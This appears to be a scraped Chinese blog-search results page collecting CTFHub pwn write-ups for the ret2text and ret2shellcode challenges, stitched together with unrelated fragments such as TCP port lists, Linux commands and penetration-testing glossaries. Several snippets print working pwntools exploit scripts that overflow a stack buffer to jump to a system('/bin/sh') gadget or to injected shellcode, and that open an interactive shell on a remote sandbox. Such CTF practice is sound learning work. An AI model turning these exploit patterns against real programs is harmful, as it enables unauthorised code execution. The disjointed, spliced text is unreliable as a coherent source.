精华内容
下载资源
问答
  • ret2text WP:https://writeup.ctfhub.com/Skill/Pwn/%E6%A0%88%E6%BA%A2%E5%87%BA/eeca3548.html 搜exp的时候发现已经有人写过WP了,于是就Cirl+CV,发现原程序是用Python2写的,我的pwntools环境是Python3,因此...

    题目链接:https://www.ctfhub.com -> 技能树 -> PWN -> 栈溢出 -> ret2text
    WP:https://writeup.ctfhub.com/Skill/Pwn/%E6%A0%88%E6%BA%A2%E5%87%BA/eeca3548.html


    搜exp的时候发现已经有人写过WP了,于是就Cirl+CV,发现原程序是用Python2写的,我的pwntools环境是Python3,因此程序需要稍作修改。

    from pwn import *
    
    host = 'challenge-23b7868abfc49eea.sandbox.ctfhub.com'
    port = 31443
    
    #p = process("./pwn")
    p = connect(host, port)
    payload = bytes('A',encoding="utf8") * 0x78 + p64(0x4007b8)#类型不同不能拼接
    p.sendline(payload)
    p.interactive()
    

    END

    展开全文
  • CTFhub pwn

    2021-02-04 16:22:24
    这里写目录标题1.ret2text2.ret2shellcode 1.ret2text file checksec ida64 gets函数有栈溢出漏洞,题目为ret2text即返回到text段得到shell shift+f12打开字符串窗口,找到/bin/sh 点进去,选中/bin/sh,右键,...

    1.ret2text

    file checksec
    在这里插入图片描述
    ida64
    gets函数有栈溢出漏洞,题目为ret2text即返回到text段得到shell
    在这里插入图片描述
    shift+f12打开字符串窗口,找到/bin/sh
    在这里插入图片描述
    点进去,选中/bin/sh,右键,交叉引用列表(可以找到使用/bin/sh的地方)
    在这里插入图片描述
    看到把/bin/sh放入rdi后,调用了system
    x64,64位系统中rdi,rsi,rdx,rcx,r8,r9作为调用函数的前6个参数,如果参数多于6个,其余参数放入栈中
    与此对比,x86,32位系统中由于寄存器有限,调用函数时参数都放入栈中,两系统间的区别对于之后的retlibc等题型构造payload时有差异,需要注意
    在这里插入图片描述
    那么只要把栈中填满,放入此处的地址就可以得到shell了
    脚本

    #!/usr/bin/env python3
    from pwn import*
    context(os="linux",arch="amd64",log_level="debug")
    content=0
    def main():
        if content==0:
            io=process("./ret2text")
        else:
            io=remote("challenge-b2e447d1cb66895b.sandbox.ctfhub.com", 27897)
        shell_addr=0x04007B8
        payload=b'a'*(0x70+8)+p64(shell_addr)
        io.recvuntil("Welcome to CTFHub ret2text.Input someting:")
        io.sendline(payload)
        io.interactive()
    
    main()
    

    2.ret2shellcode

    file checksec
    在这里插入图片描述
    ida64
    由于NX保护没有开,所以栈的数据段可以执行
    read函数有栈溢出漏洞,但没有system函数和/bin/sh,
    printf将buf即栈的地址泄露了出来,那么我们就可以在栈上写入shellcode,并在溢出后ip返回到栈的数据上,那么就可以得到权限了
    在这里插入图片描述
    查看栈的长度,发现只有0x10,比构造的shellcode短,如果直接填入shellcode,那么就无法控制返回的地址了,所以先填入垃圾数据,在ret处填入返回地址(即shellcode将要填在栈中的地址),最后填入shellcode在这里插入图片描述

    脚本

    #!/usr/bin/env python3
    from pwn import *
    context(os="linux",arch="amd64",log_level="debug")
    content=0
    def main():
        if content==0:
            io=process('./pwn4')
        else:
            io=remote('challenge-de788ec2079f9dc9.sandbox.ctfhub.com',26943)
    
    	#shellcode
        shellcode=asm(shellcraft.sh())
        print(shellcode)
    
    	#leak_buf_addr
        io.recvuntil('[')
        buf_addr=io.recvuntil("?\n")[:14]
        print(buf_addr) 
        #可以先将接收到的字符串打印出来,再确定地址长度以及如何切片
        
        #shellcode_addr
        shellcode_addr=int(buf_addr,16)+0x18+8
        print(p64(shellcode_addr))
        #后面+0x18+8是因为栈中先填充了(0x18+8)个'a'以及p64(buf_addr)
    
    	#payload
        payload = b'a' * (0x10 + 8) +p64(shellcode_addr)+shellcode
        #getshell
        io.recvuntil("Input someting : \n")
        io.sendline(payload)
        io.interactive()
    
    main()
    

    python中int()函数的用法

    展开全文
  • CTFHub 栈溢出 ret2text exp代码

    千次阅读 2021-10-09 19:42:07
    CTFHub 栈溢出 ret2text exp代码

    在这里插入图片描述

    exp代码:

    from pwn import *
    host='challenge-1868f48f1e630fd3.sandbox.ctfhub.com'
    port=27988
    p=connect(host,port)
    payload = b'A' * 0x78 +p64(0x4007b8)
    p.sendline(payload)
    p.interactive()
    

    效果:

    在这里插入图片描述

    展开全文
  • pwn ret2text

    千次阅读 2020-02-06 23:04:46
    好久没有写博客了,今天记录一下做ctf-wiki上ret2text的过程,也记录一下学到的东西,一点一点积累成长。 地址:ctf-wiki 源程序也在里面 边看视频边学的,视频地址为: ret2text 程序下载好之后通过checksec查看保护...

    好久没有写博客了,今天记录一下做ctf-wiki上ret2text的过程,也记录一下学到的东西,一点一点积累成长。

    地址:ctf-wiki
    源程序也在里面
    边看视频边学的,视频地址为: ret2text

    程序下载好之后通过checksec查看保护措施:
    在这里插入图片描述在这里插入图片描述没有开启canary,32位动态链接程序

    知道程序的基本信息后运行一下程序,看看程序都有什么功能。

    在这里插入图片描述测试后得知只有一个输入点。

    拖进ida分析一下(因为是32位程序,注意用ida.exe打开不是ida64.exe)

    看一下main函数(F5反编译生成伪C代码)

    在这里插入图片描述
    在反编译后,可以用tab键实现反编译代码和View的快捷切换

    可以看到有gets函数,并没有做输入限制
    ,可以利用该函数覆盖返回地址。

    此时可以用cyclic工具生成字符串进行定位,同时也用gdb开始调试
    (很惭愧的说这是我第一次使用gdb,调试方法还是不太懂,接下来的学习会补上的)
    在这里插入图片描述在这里插入图片描述再利用cyclic查询缓冲区长度
    (不懂了就要看帮助,cyclic -h有各种参数的意思)
    在这里插入图片描述缓冲区长度为112,然后检查程序都有什么功能,使用的是objdump(第一次使用,不会了看帮助)

    在这里插入图片描述
    可以看到有system函数,用ida看一下他的地址。

    在这里插入图片描述点击右边箭头指向的system,按X键后出现的框再双击可以找到是哪个函数调用了这个函数。

    在这里插入图片描述
    在这里插入图片描述发现了地址,接下来编写exp

    
    ```python
    from pwn import *   #套路
    
    p = process('./ret2text')  #加载进程,和本地的进行交互
    
    p.sendline('a'*112+p32(0x804863A))  #发送字符,a*112填充缓冲区,后面的为覆盖地址
    
    p.interactive()  #与程序进行交互
    

    运行一下exp

    在这里插入图片描述成功运行

    总结

    第一次做,算是看着视频一步一步跟着做下来的,中间还有很多步骤不是很理解,例如canary,NX,IDA一些功能的使用,gdb调试器pwndbg的使用都有待加强,在这几天也看了很多资料,感觉收获很大,算是开了个好头吧,继续加油。

    展开全文
  • 栈溢出总结+ret2text

    2020-09-17 09:48:14
    1、堆栈溢出原理 通俗的讲,栈溢出的...2、函数调用栈的结构和主要过程 图示: 文字说明: 汇编代码 push 参数 3 #参数由右向左入栈 push 参数 2 push 参数 1 call 函数地址 #push当前指令位置,跳转到所调用函...
  • 文章目录一、ret2text二、ret2shellcode 一、ret2text 例行检查,64位程序,没有开启任何保护 本地运行一下情况,看看大概的情况 64位ida载入,检索程序里的字符串发现了bin/sh 要满足条件才可以执行,但是我们...
  • Linux pwn入门教程(1)——栈溢出基础

    千次阅读 2018-06-29 16:57:03
    当然,CTF中的绝大部分pwn题也同样需要通过暴露给玩家的一个IP地址和端口号的组合,通过对端口上运行的程序进行挖掘,使用挖掘到的漏洞使程序执行不该执行的代码,从而获取到flag,这也是我们学习的目标。...
  • GitHub抢先更新:GitHub - Don2025/CTFwriteUp: The growth record of CTF rookie.The growth record of CTF rookie. Contribute to Don2025/CTFwriteUp development by ... CTFHub ret2text 先file ./ret2text
  • CTF第十四天

    2021-08-10 09:52:51
    CTF第十四天 太久没写了,今天挑战下题目 LD_PRELOAD 太久没整了,我都忘了PHP是啥,再复习一遍。 PHP是一种能在服务器端执行的脚本语言,也可嵌入到HTML中 看到这个提示,先来了解下Linux LD_PRELOAD环境变量 这里...
  • 1、查看内存:free -lh 2、内核:uname 3、显卡:nvidia-smi 4、cuda版本:nvcc -V 5、sudo nvidia-docker run 6、rancher 查看NVIDIA-Docker版本和docker版本:nvidia-docker version
  • TCP端口常用占用

    万次阅读 2019-11-12 14:55:37
    TCP Ports list (3498 ports in list) 1 tcpmux TCP Port Service ... 2 compressnet Management Utility 3 compressnet Compression Process 5 rje Remote Job Entry ...
  • 常用端口总结

    万次阅读 2017-06-11 21:19:26
    pop2 109/tcp pop-2 postoffice # POP version 2 pop2 109/udp pop-2 pop3 110/tcp pop-3 # POP version 3 pop3 110/udp pop-3 sunrpc 111/tcp portmapper rpcbind # RPC 4.0 portmapper TCP sunrpc 111/...
  • TCP Ports list (3498 ports in list)

    万次阅读 2018-01-11 16:09:15
    参考地址:https://www.gasmi.net/tcp.php TCP Ports list (3498 ports in list) 1 tcpmux TCP Port Service Multiplexer ...2 compressnet Management Utility 3 compressnet Compression Process
  • disable_functions 这是本文的重点,disable_functions顾名思义函数禁用,以笔者的kali环境为例,默认就禁用了如下函数: 如一些ctf题会把disable设置的极其恶心,即使我们在上传马儿到网站后会发现什么也做不了,...
  • 系统端口详解

    万次阅读 2016-08-05 09:51:38
    compressnet 2/udp # management utility compressnet 3/tcp # compression process compressnet 3/udp # compression process echo 4/ddp # appletalk echo protocol rje 5/tcp # remote job entry rje 5/...
  • 笔记,后期整理

    千次阅读 2019-09-29 12:48:13
    0110 0*2^3+1*2^2+1*2^1+0*2^0=6 0011 八进制 十进制 045 0*8^2+4*8^1+5*8^0 =37 进制之间的转换(计算机组成原理) 端口:端口即服务,服务即端口 http 80 开启80端口,表示当前服务器中正在运行web服务...
  • 常见网络端口及其服务

    万次阅读 2016-06-15 23:16:17
    # tcpmux 1/tcp 0.001995 # TCP Port Service Multiplexer [rfc-1078] tcpmux 1/udp 0.001236 # TCP Port Service Multiplexer compressnet 2/tcp 0.000013 # Management Utility compressnet 2/udp 0.001845 # Mana
  • Linux(CentOS)下,各种协议,端口号

    万次阅读 2014-07-16 10:26:02
    pop2 109/tcp pop-2 postoffice # POP version 2 pop2 109/udp pop-2 pop3 110/tcp pop-3 # POP version 3 pop3 110/udp pop-3 sunrpc 111/tcp portmapper rpcbind # RPC 4.0 portmapper TCP sunrpc 111/udp port...
  • socket端口定义大全

    万次阅读 2010-09-26 22:47:00
    David Nanian 28 September 2007 tcpmux 1/tcp TCP Port Service Multiplexer tcpmux 1/udp TCP Port Service Multiplexer # Mark Lottor compressnet 2/tcp Management Utility compressnet 2/udp Management ...
  • linux 下各个端口及他们的作用

    万次阅读 2014-07-28 19:38:04
    pop2 109/tcp pop-2 postoffice # POP version 2 pop2 109/udp pop-2 pop3 110/tcp pop-3 # POP version 3 pop3 110/udp pop-3 sunrpc 111/tcp portmapper rpcbind # RPC 4.0 portmapper TCP sunrpc 111/...
  • 一份较心新的端口列表

    万次阅读 2004-11-19 12:46:00
    Smith mit-ml-dev 83/tcp MIT ML Device mit-ml-dev 83/udp MIT ML Device # David Reed <--none---> ctf 84/tcp Common Trace Facility ctf 84/udp Common Trace Facility # Hugh Thomas mit-ml-dev 85/tcp MIT ML...
  • OS + UNIX AIX /etc/services

    千次阅读 2012-04-13 20:02:39
    compressnet 2/udp # Management Utility compressnet 3/tcp # Compression Process compressnet 3/udp # Compression Process # 4/tcp # Unassigned # 4/udp # Unassigned rje 5/tcp # Remote Job...
  • TCP/IP 知名端口号

    万次阅读 2012-06-18 15:56:11
    David Nanian 28 September 2007 tcpmux 1/tcp TCP Port Service Multiplexer tcpmux 1/udp TCP Port Service Multiplexer # Mark Lottor compressnet 2/tcp Management Utility compressnet 2/udp Management ...
  • CTFCTF) 25. AWD(AWD) [ 渗透入门篇 ] 渗透行业必备术语大集合(七) 1. CVE(CVE) 2. SRC(SRC) 3. CNVD(国家信息安全漏洞共享平台) 4. 0day(0day) 5. 1day(1day) 6. Nday(Nday) 7. C2(C2) 8. 横移...

空空如也

空空如也

1 2
收藏数 29
精华内容 11
关键字:

ctfhubret2text

友情链接: qddown_hb610557724455.zip